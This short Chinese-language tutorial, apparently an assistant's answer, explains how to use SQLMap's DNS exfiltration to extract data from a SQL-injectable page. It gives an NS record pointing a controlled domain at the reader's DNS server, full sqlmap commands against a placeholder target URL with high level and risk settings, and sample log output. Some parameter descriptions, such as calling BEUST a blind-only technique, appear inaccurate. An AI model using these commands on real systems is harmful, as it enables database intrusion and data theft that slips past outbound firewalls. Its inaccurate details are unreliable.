SQLMap 是一款强大的 SQL 注入工具,支持多种注入技术,包括 DNS 注入(DNS exfiltration)。DNS 注入是一种特殊的数据外泄技术,适用于某些特殊环境下的注入场景。
DNS注入通过将数据编码到DNS查询中,利用DNS解析过程将数据从目标系统外泄。这种方法在以下场景特别有用: - 目标系统有严格的出站防火墙规则,但允许DNS查询 - 传统的基于HTTP的数据外泄被阻止
设置DNS记录
inject.example.com NS your-dns-server.example.com
使用SQLMap进行DNS注入
基本命令格式:
sqlmap -u "http://target.com/vuln.php?id=1" --dns-domain=inject.example.com --technique=BEUST
常用参数:
--dns-domain
: 指定你控制的域名--technique
: 通常使用BEUST(盲注技术)--dns-server
: 可选,指定DNS服务器地址(默认使用系统配置)--level
和--risk
: 可能需要提高级别以启用DNS注入高级配置
如果需要更复杂的DNS外泄配置:
sqlmap -u "http://target.com/vuln.php?id=1" \
--dns-domain=inject.example.com \
--technique=BEUST \
--level=5 \
--risk=3 \
--hex \
--batch
[xx:xx:xx] [INFO] using DNS server '8.8.8.8' for DNS exfiltration
[xx:xx:xx] [INFO] testing if parameter 'id' is dynamic
希望这些信息对你有所帮助。如需更详细的配置,可以参考SQLMap的官方文档或使用sqlmap -hh
查看所有DNS相关选项。